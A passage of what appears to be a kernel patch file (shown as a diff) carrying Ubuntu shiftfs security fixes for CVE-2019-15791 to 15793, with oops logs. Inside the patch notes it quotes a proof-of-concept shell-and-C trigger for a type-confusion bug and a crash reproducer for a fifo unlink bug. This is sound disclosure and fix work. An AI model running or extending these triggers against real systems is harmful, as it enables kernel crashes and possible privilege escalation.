4756 -[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
4757 -[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
4758 -[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
4759 -[ 183.510580] Call Trace:
4760 -[ 183.511396] mmap_region+0x417/0x670
4761 -[ 183.512592] do_mmap+0x3a8/0x580
4762 -[ 183.513655] vm_mmap_pgoff+0xcb/0x120
4763 -[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
4764 -[ 183.516155] __x64_sys_mmap+0x33/0x40
4765 -[ 183.517352] do_syscall_64+0x5a/0x130
4766 -[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
4767 -[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
4768 -[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
4769 -[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
4770 -[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
4771 -[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
4772 -[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
4773 -[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
4774 -[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
4775 -[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
4776 -[ 183.560350] ---[ end trace 4a860910803657c2 ]---
4777 -[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
4778 -[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
4779 -[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
4780 -[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
4781 -[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
4782 -[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
4783 -[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
4784 -[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
4785 -[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
4786 -[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
4787 -[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
4788 -[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
4789 -[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
4790 -=======================================
4791 -
4792 -Disassembly of surrounding code:
4793 -
4794 -55 push rbp
4795 -4889E5 mov rbp,rsp
4796 -4157 push r15
4797 -4156 push r14
4798 -4155 push r13
4799 -4154 push r12
4800 -488B87C8000000 mov rax,[rdi+0xc8]
4801 -4C8B6810 mov r13,[rax+0x10]
4802 -498B4528 mov rax,[r13+0x28]
4803 -4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
4804 -0F8497000000 jz near 0xcc
4805 -4989FC mov r12,rdi
4806 -4989F6 mov r14,rsi
4807 -
4808 -This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
4809 -think this corresponds to the load of "realfile->f_op->mmap" in the source code.
4810 -
4811 -Reported-by: Jann Horn <jannh@××××××.com>
4812 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4813 -
4814 -CVE-2019-15791
4815 -
4816 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
4817 -Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
4818 -Signed-off-by: Mike Pagano <mpagano@g.o>
4819 ----
4820 - fs/shiftfs.c | 35 +++++++++++++++++++++--------------
4821 - 1 file changed, 21 insertions(+), 14 deletions(-)
4822 -
4823 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4824 -index 0d6ce377b07c..9a6a7ad50b90 100644
4825 ---- a/fs/shiftfs.c
4826 -+++ b/fs/shiftfs.c
4827 -@@ -1389,8 +1389,7 @@ static inline bool is_btrfs_snap_ioctl(int cmd)
4828 - return false;
4829 - }
4830 -
4831 --static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
4832 -- void __user *arg,
4833 -+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
4834 - struct btrfs_ioctl_vol_args *v1,
4835 - struct btrfs_ioctl_vol_args_v2 *v2)
4836 - {
4837 -@@ -1404,7 +1403,6 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
4838 - else
4839 - ret = copy_to_user(arg, v2, sizeof(*v2));
4840 -
4841 -- fdput(lfd);
4842 - __close_fd(current->files, fd);
4843 - kfree(v1);
4844 - kfree(v2);
4845 -@@ -1415,11 +1413,11 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd,
4846 - static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
4847 - struct btrfs_ioctl_vol_args **b1,
4848 - struct btrfs_ioctl_vol_args_v2 **b2,
4849 -- struct fd *lfd,
4850 - int *newfd)
4851 - {
4852 - int oldfd, ret;
4853 - struct fd src;
4854 -+ struct fd lfd = {};
4855 - struct btrfs_ioctl_vol_args *v1 = NULL;
4856 - struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
4857 -
4858 -@@ -1444,18 +1442,28 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
4859 - if (!src.file)
4860 - return -EINVAL;
4861 -
4862 -- ret = shiftfs_real_fdget(src.file, lfd);
4863 -- fdput(src);
4864 -- if (ret)
4865 -+ ret = shiftfs_real_fdget(src.file, &lfd);
4866 -+ if (ret) {
4867 -+ fdput(src);
4868 - return ret;
4869 -+ }
4870 -+
4871 -+ /*
4872 -+ * shiftfs_real_fdget() does not take a reference to lfd.file, so
4873 -+ * take a reference here to offset the one which will be put by
4874 -+ * __close_fd(), and make sure that reference is put on fdput(lfd).
4875 -+ */
4876 -+ get_file(lfd.file);
4877 -+ lfd.flags |= FDPUT_FPUT;
4878 -+ fdput(src);
4879 -
4880 -- *newfd = get_unused_fd_flags(lfd->file->f_flags);
4881 -+ *newfd = get_unused_fd_flags(lfd.file->f_flags);
4882 - if (*newfd < 0) {
4883 -- fdput(*lfd);
4884 -+ fdput(lfd);
4885 - return *newfd;
4886 - }
4887 -
4888 -- fd_install(*newfd, lfd->file);
4889 -+ fd_install(*newfd, lfd.file);
4890 -
4891 - if (cmd == BTRFS_IOC_SNAP_CREATE) {
4892 - v1->fd = *newfd;
4893 -@@ -1468,7 +1476,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
4894 - }
4895 -
4896 - if (ret)
4897 -- shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
4898 -+ shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
4899 -
4900 - return ret;
4901 - }
4902 -@@ -1482,13 +1490,12 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
4903 - int newfd = -EBADF;
4904 - long err = 0, ret = 0;
4905 - void __user *argp = (void __user *)arg;
4906 -- struct fd btrfs_lfd = {};
4907 - struct super_block *sb = file->f_path.dentry->d_sb;
4908 - struct btrfs_ioctl_vol_args *btrfs_v1 = NULL;
4909 - struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL;
4910 -
4911 - ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2,
4912 -- &btrfs_lfd, &newfd);
4913 -+ &newfd);
4914 - if (ret < 0)
4915 - return ret;
4916 -
4917 -@@ -1511,7 +1518,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
4918 - fdput(lowerfd);
4919 -
4920 - out_restore:
4921 -- err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp,
4922 -+ err = shiftfs_btrfs_ioctl_fd_restore(cmd, newfd, argp,
4923 - btrfs_v1, btrfs_v2);
4924 - if (!ret)
4925 - ret = err;
4926 ---
4927 -2.39.2
4928 -
4929 -From 187086d532fb6b5cb7785ebcb5438e170f136491 Mon Sep 17 00:00:00 2001
4930 -From: Christian Brauner <christian.brauner@××××××.com>
4931 -Date: Fri, 1 Nov 2019 14:19:16 +0100
4932 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent type confusion
4933 -Cc: mpagano@g.o
4934 -
4935 -BugLink: https://bugs.launchpad.net/bugs/1850867
4936 -
4937 -Verify filesystem type in shiftfs_real_fdget().
4938 -
4939 -Quoting Jann Horn:
4940 - #################### Bug 2: Type confusion ####################
4941 -
4942 - shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
4943 - passes the resulting file* into shiftfs_real_fdget(), which does this:
4944 -
4945 - static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
4946 - {
4947 - struct shiftfs_file_info *file_info = file->private_data;
4948 - struct file *realfile = file_info->realfile;
4949 -
4950 - lowerfd->flags = 0;
4951 - lowerfd->file = realfile;
4952 -
4953 - /* Did the flags change since open? */
4954 - if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
4955 - return shiftfs_change_flags(lowerfd->file, file->f_flags);
4956 -
4957 - return 0;
4958 - }
4959 -
4960 - file->private_data is a void* that points to a filesystem-dependent type; and
4961 - some filesystems even use it to store a type-cast number instead of a pointer.
4962 - The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
4963 -
4964 - As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
4965 - (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
4966 - offset 0x10), and I use that to cause a memory dereference somewhere around
4967 - 0x4242:
4968 -
4969 - =======================================
4970 - user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
4971 - #!/bin/sh
4972 - sync
4973 - unshare -mUr ./run2.sh
4974 - user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
4975 - #!/bin/sh
4976 - set -e
4977 -
4978 - mkdir -p mnt/tmpfs
4979 - mkdir -p mnt/shiftfs
4980 - mount -t tmpfs none mnt/tmpfs
4981 - mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
4982 - mount|grep shift
4983 - gcc -o ioctl ioctl.c -Wall
4984 - ./ioctl
4985 - user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
4986 - #include <sys/ioctl.h>
4987 - #include <fcntl.h>
4988 - #include <err.h>
4989 - #include <unistd.h>
4990 - #include <linux/btrfs.h>
4991 - #include <sys/mman.h>
4992 -
4993 - int main(void) {
4994 - // make our vmacache sequence number something like 0x4242
4995 - for (int i=0; i<0x4242; i++) {
4996 - void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
4997 - MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
4998 - if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
4999 - munmap(x, 0x1000);
5000 - }
5001 -
5002 - int root = open("mnt/shiftfs", O_RDONLY);
5003 - if (root == -1) err(1, "open shiftfs root");
5004 - int foofd = open("/proc/self/environ", O_RDONLY);
5005 - if (foofd == -1) err(1, "open foofd");
5006 - // trigger the confusion
5007 - struct btrfs_ioctl_vol_args iocarg = {
5008 - .fd = foofd
5009 - };
5010 - ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
5011 - }
5012 - user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
5013 - none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
5014 - /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
5015 - [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
5016 - [ 348.105060] #PF: supervisor read access in kernel mode
5017 - [ 348.106573] #PF: error_code(0x0000) - not-present page
5018 - [ 348.108102] PGD 0 P4D 0
5019 - [ 348.108871] Oops: 0000 [#1] SMP PTI
5020 - [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
5021 - [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
5022 - [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
5023 - [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
5024 - [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
5025 - [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
5026 - [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
5027 - [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
5028 - [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
5029 - [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
5030 - [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
5031 - [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
5032 - [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
5033 - [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
5034 - [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
5035 - [ 348.143545] Call Trace:
5036 - [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
5037 - [ 348.145562] do_vfs_ioctl+0x407/0x670
5038 - [ 348.146620] ? putname+0x4a/0x50
5039 - [ 348.147556] ksys_ioctl+0x67/0x90
5040 - [ 348.148514] __x64_sys_ioctl+0x1a/0x20
5041 - [ 348.149593] do_syscall_64+0x5a/0x130
5042 - [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
5043 - [ 348.152108] RIP: 0033:0x7f77fa76767b
5044 - [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
5045 - [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
5046 - [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
5047 - [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
5048 - [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
5049 - [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
5050 - [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
5051 - [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
5052 - [ 348.188617] CR2: 0000000000004289
5053 - [ 348.189586] ---[ end trace dad859a1db86d660 ]---
5054 - [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
5055 - [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
5056 - [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
5057 - [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
5058 - [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
5059 - [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
5060 - [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
5061 - [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
5062 - [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
5063 - [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
5064 - [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
5065 - [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
5066 - [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
5067 - Killed
5068 - user@ubuntu1910vm:~/shiftfs_confuse$
5069 -
5070 -Reported-by: Jann Horn <jannh@××××××.com>
5071 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5072 -[ saf: use f_op->open instead as special inodes in shiftfs sbs
5073 - will not use shiftfs open f_ops ]
5074 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5075 -
5076 -CVE-2019-15792
5077 -
5078 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
5079 -Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
5080 -Signed-off-by: Mike Pagano <mpagano@g.o>
5081 ----
5082 - fs/shiftfs.c | 33 +++++++++++++++++++--------------
5083 - 1 file changed, 19 insertions(+), 14 deletions(-)
5084 -
5085 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5086 -index 9a6a7ad50b90..897e0163005e 100644
5087 ---- a/fs/shiftfs.c
5088 -+++ b/fs/shiftfs.c
5089 -@@ -1087,20 +1087,6 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags)
5090 - return 0;
5091 - }
5092 -
5093 --static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
5094 --{
5095 -- struct file *realfile = file->private_data;
5096 --
5097 -- lowerfd->flags = 0;
5098 -- lowerfd->file = realfile;
5099 --
5100 -- /* Did the flags change since open? */
5101 -- if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
5102 -- return shiftfs_change_flags(lowerfd->file, file->f_flags);
5103 --
5104 -- return 0;
5105 --}
5106 --
5107 - static int shiftfs_open(struct inode *inode, struct file *file)
5108 - {
5109 - struct file *realfile;
5110 -@@ -1187,6 +1173,25 @@ static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb)
5111 - return flags;
5112 - }
5113 -
5114 -+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
5115 -+{
5116 -+ struct file *realfile;
5117 -+
5118 -+ if (file->f_op->open != shiftfs_open &&
5119 -+ file->f_op->open != shiftfs_dir_open)
5120 -+ return -EINVAL;
5121 -+
5122 -+ realfile = file->private_data;
5123 -+ lowerfd->flags = 0;
5124 -+ lowerfd->file = realfile;
5125 -+
5126 -+ /* Did the flags change since open? */
5127 -+ if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
5128 -+ return shiftfs_change_flags(lowerfd->file, file->f_flags);
5129 -+
5130 -+ return 0;
5131 -+}
5132 -+
5133 - static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter)
5134 - {
5135 - struct file *file = iocb->ki_filp;
5136 ---
5137 -2.39.2
5138 -
5139 -From 7bb96158915054edeee67b13212cd19b8fff54bd Mon Sep 17 00:00:00 2001
5140 -From: Seth Forshee <seth.forshee@×××××××××.com>
5141 -Date: Fri, 1 Nov 2019 13:35:25 -0500
5142 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Correct id translation for lower fs
5143 - operations
5144 -Cc: mpagano@g.o
5145 -
5146 -BugLink: https://bugs.launchpad.net/bugs/1850867
5147 -
5148 -Several locations which shift ids translate user/group ids before
5149 -performing operations in the lower filesystem are translating
5150 -them into init_user_ns, whereas they should be translated into
5151 -the s_user_ns for the lower filesystem. This will result in using
5152 -ids other than the intended ones in the lower fs, which will
5153 -likely not map into the shifts s_user_ns.
5154 -
5155 -Change these sites to use shift_k[ug]id() to do a translation
5156 -into the s_user_ns of the lower filesystem.
5157 -
5158 -Reported-by: Jann Horn <jannh@××××××.com>
5159 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5160 -
5161 -CVE-2019-15793
5162 -
5163 -Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
5164 -Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com>
5165 -Signed-off-by: Mike Pagano <mpagano@g.o>
5166 ----
5167 - fs/shiftfs.c | 43 +++++++++++++++++++++++--------------------
5168 - 1 file changed, 23 insertions(+), 20 deletions(-)
5169 -
5170 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5171 -index 897e0163005e..04fba4689eb6 100644
5172 ---- a/fs/shiftfs.c
5173 -+++ b/fs/shiftfs.c
5174 -@@ -83,12 +83,27 @@ static inline void shiftfs_revert_object_creds(const struct cred *oldcred,
5175 - put_cred(newcred);
5176 - }
5177 -
5178 -+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
5179 -+ kuid_t kuid)
5180 -+{
5181 -+ uid_t uid = from_kuid(from, kuid);
5182 -+ return make_kuid(to, uid);
5183 -+}
5184 -+
5185 -+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
5186 -+ kgid_t kgid)
5187 -+{
5188 -+ gid_t gid = from_kgid(from, kgid);
5189 -+ return make_kgid(to, gid);
5190 -+}
5191 -+
5192 - static int shiftfs_override_object_creds(const struct super_block *sb,
5193 - const struct cred **oldcred,
5194 - struct cred **newcred,
5195 - struct dentry *dentry, umode_t mode,
5196 - bool hardlink)
5197 - {
5198 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
5199 - kuid_t fsuid = current_fsuid();
5200 - kgid_t fsgid = current_fsgid();
5201 -
5202 -@@ -100,8 +115,8 @@ static int shiftfs_override_object_creds(const struct super_block *sb,
5203 - return -ENOMEM;
5204 - }
5205 -
5206 -- (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
5207 -- (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
5208 -+ (*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid);
5209 -+ (*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid);
5210 -
5211 - if (!hardlink) {
5212 - int err = security_dentry_create_files_as(dentry, mode,
5213 -@@ -117,20 +132,6 @@ static int shiftfs_override_object_creds(const struct super_block *sb,
5214 - return 0;
5215 - }
5216 -
5217 --static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
5218 -- kuid_t kuid)
5219 --{
5220 -- uid_t uid = from_kuid(from, kuid);
5221 -- return make_kuid(to, uid);
5222 --}
5223 --
5224 --static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
5225 -- kgid_t kgid)
5226 --{
5227 -- gid_t gid = from_kgid(from, kgid);
5228 -- return make_kgid(to, gid);
5229 --}
5230 --
5231 - static void shiftfs_copyattr(struct inode *from, struct inode *to)
5232 - {
5233 - struct user_namespace *from_ns = from->i_sb->s_user_ns;
5234 -@@ -758,6 +759,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
5235 - struct iattr newattr;
5236 - const struct cred *oldcred;
5237 - struct super_block *sb = dentry->d_sb;
5238 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
5239 - int err;
5240 -
5241 - err = setattr_prepare(dentry, attr);
5242 -@@ -765,8 +767,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
5243 - return err;
5244 -
5245 - newattr = *attr;
5246 -- newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
5247 -- newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
5248 -+ newattr.ia_uid = shift_kuid(sb->s_user_ns, sbinfo->userns, attr->ia_uid);
5249 -+ newattr.ia_gid = shift_kgid(sb->s_user_ns, sbinfo->userns, attr->ia_gid);
5250 -
5251 - /*
5252 - * mode change is for clearing setuid/setgid bits. Allow lower fs
5253 -@@ -1356,6 +1358,7 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
5254 - const struct cred **oldcred,
5255 - struct cred **newcred)
5256 - {
5257 -+ struct shiftfs_super_info *sbinfo = sb->s_fs_info;
5258 - kuid_t fsuid = current_fsuid();
5259 - kgid_t fsgid = current_fsgid();
5260 -
5261 -@@ -1367,8 +1370,8 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
5262 - return -ENOMEM;
5263 - }
5264 -
5265 -- (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
5266 -- (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
5267 -+ (*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid);
5268 -+ (*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid);
5269 -
5270 - /* clear all caps to prevent bypassing capable() checks */
5271 - cap_clear((*newcred)->cap_bset);
5272 ---
5273 -2.39.2
5274 -
5275 -From f140d37a80df29e1746b9ba9a29cf5b505c6a70f Mon Sep 17 00:00:00 2001
5276 -From: Christian Brauner <christian.brauner@××××××.com>
5277 -Date: Fri, 17 Jan 2020 16:17:06 +0100
5278 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent lower dentries from going
5279 - negative during unlink
5280 -Cc: mpagano@g.o
5281 -
5282 -BugLink: https://bugs.launchpad.net/bugs/1860041
5283 -
5284 -All non-special files (For shiftfs this only includes fifos and - for
5285 -this case - unix sockets - since we don't allow character and block
5286 -devices to be created.) go through shiftfs_open() and have their dentry
5287 -pinned through this codepath preventing it from going negative. But
5288 -fifos don't use the shiftfs fops but rather use the pipefifo_fops which
5289 -means they do not go through shiftfs_open() and thus don't have their
5290 -dentry pinned that way. Thus, the lower dentries for such files can go
5291 -negative on unlink causing segfaults. The following C program can be
5292 -used to reproduce the crash:
5293 -
5294 - #include <stdio.h>
5295 - #include <fcntl.h>
5296 - #include <unistd.h>
5297 - #include <sys/types.h>
5298 - #include <sys/stat.h>
5299 - #include <unistd.h>
5300 - #include <stdlib.h>
5301 -
5302 - int main(int argc, char *argv[])
5303 - {
5304 - struct stat stat;
5305 -
5306 - unlink("./bbb");
5307 -
5308 - int ret = mknod("./bbb", S_IFIFO|0666, 0);
5309 - if (ret < 0)
5310 - exit(1);
5311 -
5312 - int fd = open("./bbb", O_RDWR);
5313 - if (fd < 0)
5314 - exit(2);
5315 -
5316 - if (unlink("./bbb"))
5317 - exit(4);
5318 -
5319 - fstat(fd, &stat);
5320 -
5321 - return 0;
5322 - }
5323 -
5324 -Similar to ecryptfs we need to dget() the lower dentry before calling
5325 -vfs_unlink() on it and dput() it afterwards.
5326 -
5327 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
